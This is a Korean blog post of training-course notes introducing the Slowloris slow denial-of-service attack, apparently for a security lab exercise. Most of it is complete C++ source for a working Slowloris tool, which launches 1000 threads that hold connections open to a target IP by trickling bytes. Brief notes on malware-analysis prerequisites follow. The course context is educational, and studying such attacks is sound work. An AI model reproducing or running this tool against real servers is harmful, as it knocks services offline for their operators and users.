10 - 악성코드 분석 1(간단한 실습)

2021. 6. 9. 17:38·기타 교육/정보보호 컨설팅 전문가 양성과정
728x90
반응형

실습

 

1. 제작 - Slowloris(동물이름과 똑같다)

 

특징 : 엄청 느린 Dos 공격이다. 패킷의 Header를 계속 보내서 Session을 유지한다. 1대의 PC와 1대의 Server서버이면 크게 상관 없지만, 몇 만대의 PC가 계속 세션을 유지하면 서버에 과부하가 생긴다.

 

제작 환경 

Microsoft Visual  Studio 2019

C++ language  

 

제작 필수 API

WSAStartup() : WS2_32.dll을 사용 할 수 있도록 초기화 하는데 사용

gethostbyname() : IP주소를 알아낼때 사용

CreateThread() : Thread 생성

socket() : 데이터 전송에 사용되는 소켓을 생성

connect() : 서버에 연결

send() : 데이터 전송

Sleep() : 대기

Closesocket() : 이미지 삭제 


Debug 모드에서 Release모드로 속성을 바꿔야 한다.(용량 및 실행 여부 차이)

VS Studio에서 런타임 라이브러리에서 다중 스레드로 변경

 

코드 생성

 

#include<stdio.h>
#include<Winsock2.h>

#pragma comment(lib, "ws_32.lib")

DWORD WINAPI SlowlorisThread(PVOID p)
{
	SOCKET s;
	sockaddr_in* victim;

	char header[] = "GET /";
	char a = 'A';
	int n;

	victim = (sockaddr_in*)p;

	while (1)
	{
		s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
		//소켓이 제대로 생성이 되었다면
		if (s != INVALID_SOCKET)
		{
			//접속 시도하고
			connect(s, (sockaddr*)victim, sizeof(sockaddr_in));
			//헤더 날림
			send(s, header, sizeof(header) * 1, 0);
			while (1)
			{
				n = send(s, &a, 1, 0);
				if (n == SOCKET_ERROR)
				{
					break;
				}
				//하나 날리고 쉬고 하나 날리고 쉬고를 반복
				Sleep(100);
			}

		}
	}
}


int main() {
	WSADATA WD;
	ULONG i;
	hostent* host;
	sockaddr_in victim;


	WSAStartup(0X202, &WD); /* 윈도우 소켓 사용준비 */

	char victim_ip[] = "192.168.10.1"; /*공격대상 ip입력 */

	host = gethostbyname(victim_ip);
	victim.sin_family = AF_INET;
	victim.sin_addr.S_un.S_addr = *(PULONG)host->h_addr;


	printf("\nCreating thrade for slowloris is attack\n");

	/* 공격 스레드 생성*/
	for (i = 0; i < 1000; i++)
	{
		CreateThread(NULL, 0, SlowlorisThread, &victim, 0, NULL);
	}
	printf("\nAttack started\n");
	printf("\nPlease ENTER anykey to stip attack\n");
	getchar();
	
	return 0;
}

 

 

이미지 Password(패스워드) : 감염


CyberCher

 

 

키값 a를 주고 192.168.10.1(공격 대상 서버)


악성 코드 분석 

사전지식

- 컴파일/디컴파일(컴파일된 exe를 다시 source로 만드는 것을 디컴파일)

- 어셈블리어 

- 레지스터

 

 

728x90
반응형

'기타 교육 > 정보보호 컨설팅 전문가 양성과정' 카테고리의 다른 글

11 - 악성코드 분석 2(미완료)  (0) 2021.06.10
8 - 컨설턴트 전문가 직무 특강  (0) 2021.06.09
9 - 침투 테스트(Penertration testing)[테스트 종류/유형 , IP 스캔, Nmap, Fidder Web Debugger)  (0) 2021.06.08
7 - 모의해킹(OWSAPBrokenweb/)  (0) 2021.06.04
6 - 네트워크 보안(OSI 7계층, 이더넷, Data Header(데이터 헤더), CSMA/CD, IP 프로토콜, Hub, Wire Shark)  (0) 2021.05.28
'기타 교육/정보보호 컨설팅 전문가 양성과정' 카테고리의 다른 글
  • 11 - 악성코드 분석 2(미완료)
  • 8 - 컨설턴트 전문가 직무 특강
  • 9 - 침투 테스트(Penertration testing)[테스트 종류/유형 , IP 스캔, Nmap, Fidder Web Debugger)
  • 7 - 모의해킹(OWSAPBrokenweb/)
Royal!
Royal!
Bachelor of Arts. Bachelor of Science in Engineering. Master of Science in Engineering (In Progress). Job Title: Infrastructure & Security & Cloud Engineer. Etc: Mentor at Fourth Industrial Revolution Center.
  • Royal!
    Security
    Royal!
  • 전체
    오늘
    어제
    • 분류 전체보기
      • 운영체제
      • 네트워크
      • 클라우드
      • 서버
      • Container
      • 프로그래밍
        • Python_혼자 끄적끄적
        • Python_AI(영상처리)
        • 빅데이터
        • C_정보올림피아드 Language_Coder
        • C_QnA
      • 자격증
        • 정보보안기사
        • 정보처리기사
        • ADsP
        • CPPG
        • 보안법률
        • NCA~NCP
        • AWS Certified Solutions Arc..
      • 리버싱
        • 리버싱 걸음마
      • Wargame & CTF
        • Hackerschool FTZ
      • 기타 교육
        • KISA 정보보호제품실습군
        • 빅데이터_분석실무
        • 시큐어코딩진단전문교육(호남정보보호센터)
        • SW테스트 전문가 과정(ISTQB CTFL자격)
        • 정보보호 컨설팅 전문가 양성과정
      • 기타
        • 면접일지
        • 기타
        • 인턴활동
        • 논문 요약
      • K-Shield Jr
        • 악성코드분석
        • 침해사고분석
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    geteuid()
    kernel 구성요소
    restful api 개념
    ncp이메일 문제 해결
    rest api 아키텍처
    nce dump
    ncp 이메일 기본로직
    euid가 중요한 이유
    email 450 error
    nce덤프
    네이버클라우드 ftp 설정
    euid란
    uid란
    geteuid
    ncp이메일이 안 와요
    ncp 이메일 알람 못 받을 경우
    rest api 문법
    getuid
    kernel모드
    kernel 사용자 모드
    getuid()
    ipsec vpn 연결 설정
    ncp 이메일테스트
    rest api 정리
    이메일 450 error
    rest api 공부
    smtp 450 error
    rest api 논문
    rest api 제약조건
    메일 서버 기본로직
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.3
Royal!
10 - 악성코드 분석 1(간단한 실습)
상단으로

티스토리툴바